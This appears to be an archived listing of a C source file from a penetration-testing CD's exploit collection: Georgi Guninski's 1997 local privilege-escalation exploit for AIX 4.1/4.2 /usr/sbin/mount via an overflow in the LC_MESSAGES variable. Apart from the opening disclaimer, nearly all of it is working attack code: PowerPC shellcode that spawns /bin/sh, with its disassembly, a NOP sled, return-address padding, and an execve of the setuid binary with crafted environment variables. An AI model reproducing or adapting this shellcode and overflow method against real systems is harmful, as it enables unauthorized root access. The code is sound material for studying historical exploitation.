home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / local / aixlcmessages.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  190 lines

  1. /*
  2.  AIX 4.2/4.1 LC_MESSEGAS /usr/sbin/mount exploit by Georgi Guninski
  3.  
  4. ----------------------------------------
  5. DISCLAIMER
  6.  
  7.  This program is for educational purpose ONLY. Do not use it without
  8. permission.
  9.  The usual standard disclaimer applies, especially the fact that Georgi
  10. Guninski
  11.  is not liable for any damages caused by direct or  indirect use of
  12.  the information or functionality provided by this program.
  13.  Georgi Guninski, his employer or any Internet provider bears NO
  14. responsibility for content
  15.  or misuse of this program or any derivatives thereof.
  16.  By using this program you accept the fact that any damage (dataloss,
  17. system
  18.  crash, system compromise, etc.) caused by the use of this program is
  19. not
  20.  Georgi Guninski's responsibility.
  21.  
  22. In case you distribute this, please keep the disclaimer and my
  23. addresses.
  24. -----------------------------------------
  25. Use the IBM C compiler.
  26. Compile with: cc -g test2.c
  27. -----------------
  28. Georgi Guninski
  29.  guninski@hotmail.com
  30.  sgg@vmei.acad.bg
  31.  guninski@linux2.vmei.acad.bg
  32.  http://www.geocities.com/ResearchTriangle/1711
  33.  
  34.  
  35.  
  36. Suggestions,comments and job offers are welcome!
  37.  
  38.  
  39. 22-Mar-97
  40. */
  41. #include <stdio.h>
  42. #include <stdlib.h>
  43. #include <string.h>
  44.  
  45.  
  46. char prog[100]="/usr/sbin/mount";
  47. char prog2[30]="mount";
  48. extern int execv();
  49.  
  50. char *createvar(char *name,char *value)
  51. {
  52. char *c;
  53. int l;
  54. l=strlen(name)+strlen(value)+4;
  55. if (! (c=malloc(l))) {perror("error allocating");exit(2);};
  56. strcpy(c,name);
  57. strcat(c,"=");
  58. strcat(c,value);
  59. putenv(c);
  60. return c;
  61. }
  62.  
  63. /*The program*/
  64. main(int argc,char **argv,char **env)
  65. {
  66. /*The code*/
  67. unsigned int code[]={
  68. 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  69. 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  70. 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  71. 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  72. 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  73. 0x7c0903a6 , 0x4e800420, 0x0
  74. };
  75. /* disassembly
  76. 7c0802a6        mfspr   r0,LR
  77. 9421fbb0        stu     SP,-1104(SP) --get stack
  78. 90010458        st      r0,1112(SP)
  79. 3c60f019        cau     r3,r0,0xf019 --CTR
  80. 60632c48        lis     r3,r3,11336  --CTR
  81. 90610440        st      r3,1088(SP)
  82. 3c60d002        cau     r3,r0,0xd002 --TOC
  83. 60634c0c        lis     r3,r3,19468  --TOC
  84. 90610444        st      r3,1092(SP)
  85. 3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
  86. 6063696e        lis     r3,r3,26990
  87. 90610438        st      r3,1080(SP)
  88. 3c602f73        cau     r3,r0,0x2f73
  89. 60636801        lis     r3,r3,26625
  90. 3863ffff        addi    r3,r3,-1
  91. 9061043c        st      r3,1084(SP) --terminate with 0
  92. 30610438        lis     r3,SP,1080
  93. 7c842278        xor     r4,r4,r4    --argv=NULL
  94. 80410440        lwz     RTOC,1088(SP)
  95. 80010444        lwz     r0,1092(SP) --jump
  96. 7c0903a6        mtspr   CTR,r0
  97. 4e800420        bctr              --jump
  98. */
  99.  
  100. #define MAXBUF 600
  101. unsigned int buf[MAXBUF];
  102. unsigned int frame[MAXBUF];
  103. unsigned int i,nop,mn;
  104. int max;
  105. int QUIET=0;
  106. int dobuf=0;
  107. char VAR[30]="LC_MESSAGES";
  108. unsigned int toc;
  109. unsigned int eco;
  110. unsigned int *pt;
  111. char *t;
  112. int egg=1;
  113. int ch;
  114. unsigned int reta; /* return address */
  115. int corr=4604;
  116. char *args[4];
  117. char *newenv[8];
  118. int justframes=1;
  119. int startwith=0;
  120.  
  121. mn=78;
  122. max=100;
  123.  
  124. if (argc>1)
  125.         corr = atoi(argv[1]);
  126.  
  127. pt=(unsigned *) &execv;
  128. toc=*(pt+1);
  129. eco=*pt;
  130.  
  131. if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
  132. {
  133.         perror("Bad parameters");
  134.         exit(1);
  135. }
  136.  
  137. #define OO 7
  138. *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
  139. *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) &
  140. 0x0000ffff);
  141. *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
  142. *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
  143. 0x0000ffff);
  144.  
  145. reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
  146.  
  147. for(nop=0;nop<mn;nop++)
  148.  buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
  149. strcpy((char*)&buf[nop],(char*)&code);
  150. i=nop+strlen( (char*) &code)/4-1;
  151.  
  152. if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
  153.         || !(reta && 0xff000000))
  154. {
  155. perror("Return address has zero");exit(5);
  156. }
  157.  
  158. while(i++<max)
  159.  buf[i]=reta;
  160. buf[i]=0;
  161.  
  162. for(i=0;i<max-1;i++)
  163.  frame[i]=reta;
  164. frame[i]=0;
  165.  
  166. if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};
  167.  
  168. puts("Start...");/*Here we go*/
  169.  
  170. newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  171. newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  172. newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  173. newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  174. newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  175. newenv[5]=VAR[0] ? createvar(VAR,justframes ? (char*)&frame :
  176. (char*)&buf):NULL;
  177. newenv[6]=NULL;
  178.  
  179. args[0]=prog2;
  180. execve(prog,args,newenv);
  181. perror("Error executing execve \n");
  182. /*      Georgi Guninski
  183.         guninski@hotmail.com
  184.         sgg@vmei.acad.bg
  185.         guninski@linux2.vmei.acad.bg
  186.         http://www.geocities.com/ResearchTriangle/1711
  187. */
  188. }
  189.  
  190.